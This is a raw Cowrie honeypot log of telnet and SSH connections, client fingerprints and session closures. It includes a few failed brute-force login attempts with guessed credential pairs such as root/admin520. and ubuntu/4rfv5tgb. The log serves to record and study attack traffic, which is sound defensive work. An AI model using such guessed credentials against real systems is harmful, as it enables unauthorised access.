{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36780,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc1b84336c4b","protocol":"telnet","message":"New connection: 188.208.141.113:36780 (10.17.0.5:23) [session: bc1b84336c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:41.516382Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":47968,"dst_ip":"10.17.0.5","dst_port":22,"session":"4df349fd1c6f","protocol":"ssh","message":"New connection: 1.235.192.214:47968 (10.17.0.5:22) [session: 4df349fd1c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:41.654767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:41.660059Z","src_ip":"1.235.192.214","session":"4df349fd1c6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:41.845943Z","src_ip":"1.235.192.214","session":"4df349fd1c6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36796,"dst_ip":"10.17.0.5","dst_port":23,"session":"91b5f6159869","protocol":"telnet","message":"New connection: 188.208.141.113:36796 (10.17.0.5:23) [session: 91b5f6159869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:42.085430Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin520.","message":"login attempt [root/admin520.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:42.619966Z","src_ip":"1.235.192.214","session":"4df349fd1c6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":42586,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ef1372520b6","protocol":"ssh","message":"New connection: 112.217.199.222:42586 (10.17.0.5:22) [session: 4ef1372520b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:43.004617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:43.010519Z","src_ip":"112.217.199.222","session":"4ef1372520b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.78573679924011,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:43.066327Z","src_ip":"188.208.141.113","session":"71f6d0a5510d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:43.213194Z","src_ip":"112.217.199.222","session":"4ef1372520b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36800,"dst_ip":"10.17.0.5","dst_port":23,"session":"05632b30cb0d","protocol":"telnet","message":"New connection: 188.208.141.113:36800 (10.17.0.5:23) [session: 05632b30cb0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:43.678321Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:43.808034Z","src_ip":"1.235.192.214","session":"4df349fd1c6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":40888,"dst_ip":"159.203.135.109","dst_port":23,"session":"f27008bfaadd","protocol":"telnet","message":"New connection: 64.227.9.242:40888 (159.203.135.109:23) [session: f27008bfaadd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:44.012415Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv5tgb","message":"login attempt [ubuntu/4rfv5tgb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:44.059201Z","src_ip":"112.217.199.222","session":"4ef1372520b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":42508,"dst_ip":"159.203.135.109","dst_port":23,"session":"65636daff1bd","protocol":"telnet","message":"New connection: 64.227.9.242:42508 (159.203.135.109:23) [session: 65636daff1bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:45.028715Z"}
{"eventid":"cowrie.session.closed","duration":36.06093120574951,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:45.143357Z","src_ip":"64.227.9.242","session":"b642c9c2ae10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:45.264915Z","src_ip":"112.217.199.222","session":"4ef1372520b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.770520925521851,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:47.286789Z","src_ip":"188.208.141.113","session":"bc1b84336c4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.47701597213745,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:47.682472Z","src_ip":"64.227.9.242","session":"c7bbd3dba989","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":45188,"dst_ip":"159.203.135.109","dst_port":23,"session":"1974178a2f3b","protocol":"telnet","message":"New connection: 64.227.9.242:45188 (159.203.135.109:23) [session: 1974178a2f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:48.049337Z"}
{"eventid":"cowrie.session.closed","duration":35.24670052528381,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:48.827481Z","src_ip":"64.227.9.242","session":"67aa1fd0bede","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37842,"dst_ip":"10.17.0.5","dst_port":23,"session":"83a7d7eeed3a","protocol":"telnet","message":"New connection: 188.208.141.113:37842 (10.17.0.5:23) [session: 83a7d7eeed3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:50.843820Z"}
{"eventid":"cowrie.session.closed","duration":39.71453833580017,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:51.991240Z","src_ip":"188.208.141.113","session":"d7b74813f830","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.95756769180298,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:54.547529Z","src_ip":"188.208.141.113","session":"e3554ab8d036","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.537471294403076,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:55.171196Z","src_ip":"188.208.141.113","session":"bdb13034fbb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37858,"dst_ip":"10.17.0.5","dst_port":23,"session":"eba7c9d0b312","protocol":"telnet","message":"New connection: 188.208.141.113:37858 (10.17.0.5:23) [session: eba7c9d0b312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:55.815650Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":55988,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb68f83e31f1","protocol":"telnet","message":"New connection: 64.227.9.242:55988 (159.203.135.109:23) [session: fb68f83e31f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:56.564612Z"}
{"eventid":"cowrie.session.closed","duration":5.812832593917847,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:56.656560Z","src_ip":"188.208.141.113","session":"83a7d7eeed3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.77230143547058,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:57.237618Z","src_ip":"64.227.9.242","session":"38b709cf8713","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.85692501068115,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:57.823456Z","src_ip":"64.227.9.242","session":"7a97089a6be9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.961936712265015,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:01.196999Z","src_ip":"188.208.141.113","session":"d680851dbc10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":54938,"dst_ip":"10.17.0.5","dst_port":22,"session":"853669fa6164","protocol":"ssh","message":"New connection: 152.32.171.213:54938 (10.17.0.5:22) [session: 853669fa6164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:02.227151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:02.232743Z","src_ip":"152.32.171.213","session":"853669fa6164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.83196258544922,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:02.236370Z","src_ip":"188.208.141.113","session":"0e7d3ffcbaff","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:02.450535Z","src_ip":"152.32.171.213","session":"853669fa6164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.135917663574219,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:02.951435Z","src_ip":"188.208.141.113","session":"eba7c9d0b312","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.318408250808716,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:03.041288Z","src_ip":"188.208.141.113","session":"dba64e71ecbc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!@#$%^&*()","message":"login attempt [root/admin!@#$%^&*()] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:03.353742Z","src_ip":"152.32.171.213","session":"853669fa6164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.65836691856384,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:03.825938Z","src_ip":"188.208.141.113","session":"5e6c98dc4c92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:04.574432Z","src_ip":"152.32.171.213","session":"853669fa6164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.973939418792725,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:05.605669Z","src_ip":"188.208.141.113","session":"8802fd7d3583","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54784,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc76f777965e","protocol":"telnet","message":"New connection: 188.208.141.113:54784 (10.17.0.5:23) [session: dc76f777965e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:06.181204Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54786,"dst_ip":"10.17.0.5","dst_port":23,"session":"89b27a6f3f76","protocol":"telnet","message":"New connection: 188.208.141.113:54786 (10.17.0.5:23) [session: 89b27a6f3f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:07.461485Z"}
{"eventid":"cowrie.session.closed","duration":35.07885408401489,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:09.387854Z","src_ip":"64.227.9.242","session":"f23297e6eda3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.792004346847534,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:10.153486Z","src_ip":"64.227.9.242","session":"4af1cdadb6e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54894,"dst_ip":"10.17.0.5","dst_port":23,"session":"162dcff80143","protocol":"telnet","message":"New connection: 188.208.141.113:54894 (10.17.0.5:23) [session: 162dcff80143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:11.228233Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":51392,"dst_ip":"159.203.135.109","dst_port":23,"session":"64a360b916e5","protocol":"telnet","message":"New connection: 64.227.9.242:51392 (159.203.135.109:23) [session: 64a360b916e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:13.741809Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":50140,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8620dc7b8db","protocol":"telnet","message":"New connection: 64.227.9.242:50140 (159.203.135.109:23) [session: f8620dc7b8db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:15.680494Z"}
{"eventid":"cowrie.session.closed","duration":51.026400566101074,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:17.650847Z","src_ip":"188.208.141.113","session":"cb1ae9f0ee9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":57944,"dst_ip":"159.203.135.109","dst_port":23,"session":"43d8577ea9d5","protocol":"telnet","message":"New connection: 64.227.9.242:57944 (159.203.135.109:23) [session: 43d8577ea9d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:19.408368Z"}
{"eventid":"cowrie.session.closed","duration":35.72108483314514,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:19.733397Z","src_ip":"64.227.9.242","session":"f27008bfaadd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.10295486450195,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:19.781188Z","src_ip":"188.208.141.113","session":"05632b30cb0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.26678824424744,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:20.738861Z","src_ip":"188.208.141.113","session":"3e78c7f7318d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.544307231903076,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:21.936077Z","src_ip":"188.208.141.113","session":"a80cf8b611fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.03804397583008,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:22.066640Z","src_ip":"64.227.9.242","session":"65636daff1bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.336697578430176,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:23.157428Z","src_ip":"188.208.141.113","session":"ed1b9af84583","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.10091996192932,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:23.186240Z","src_ip":"188.208.141.113","session":"91b5f6159869","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.51575803756714,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:23.564960Z","src_ip":"64.227.9.242","session":"1974178a2f3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44286,"dst_ip":"10.17.0.5","dst_port":23,"session":"a92028b4cc43","protocol":"telnet","message":"New connection: 188.208.141.113:44286 (10.17.0.5:23) [session: a92028b4cc43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:24.408383Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":38874,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcb6e606d711","protocol":"telnet","message":"New connection: 64.227.9.242:38874 (159.203.135.109:23) [session: dcb6e606d711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:27.123659Z"}
{"eventid":"cowrie.session.closed","duration":51.11278963088989,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:27.492300Z","src_ip":"188.208.141.113","session":"053c22b2ad3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44290,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d9321b8a891","protocol":"telnet","message":"New connection: 188.208.141.113:44290 (10.17.0.5:23) [session: 9d9321b8a891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:28.410495Z"}
{"eventid":"cowrie.session.closed","duration":31.895390033721924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:28.459863Z","src_ip":"64.227.9.242","session":"fb68f83e31f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.5337231159210205,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:28.941965Z","src_ip":"188.208.141.113","session":"a92028b4cc43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":39878,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb606f1fa12f","protocol":"telnet","message":"New connection: 64.227.9.242:39878 (159.203.135.109:23) [session: cb606f1fa12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:29.024592Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":41140,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f0d964282e6","protocol":"telnet","message":"New connection: 64.227.9.242:41140 (159.203.135.109:23) [session: 4f0d964282e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:29.089931Z"}
{"eventid":"cowrie.session.closed","duration":51.487998485565186,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:30.766074Z","src_ip":"188.208.141.113","session":"73537420c657","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":45120,"dst_ip":"159.203.135.109","dst_port":23,"session":"f70c3b7d76e7","protocol":"telnet","message":"New connection: 64.227.9.242:45120 (159.203.135.109:23) [session: f70c3b7d76e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:32.443620Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34510,"dst_ip":"10.17.0.5","dst_port":23,"session":"54d457f037d3","protocol":"telnet","message":"New connection: 188.208.141.113:34510 (10.17.0.5:23) [session: 54d457f037d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:33.552438Z"}
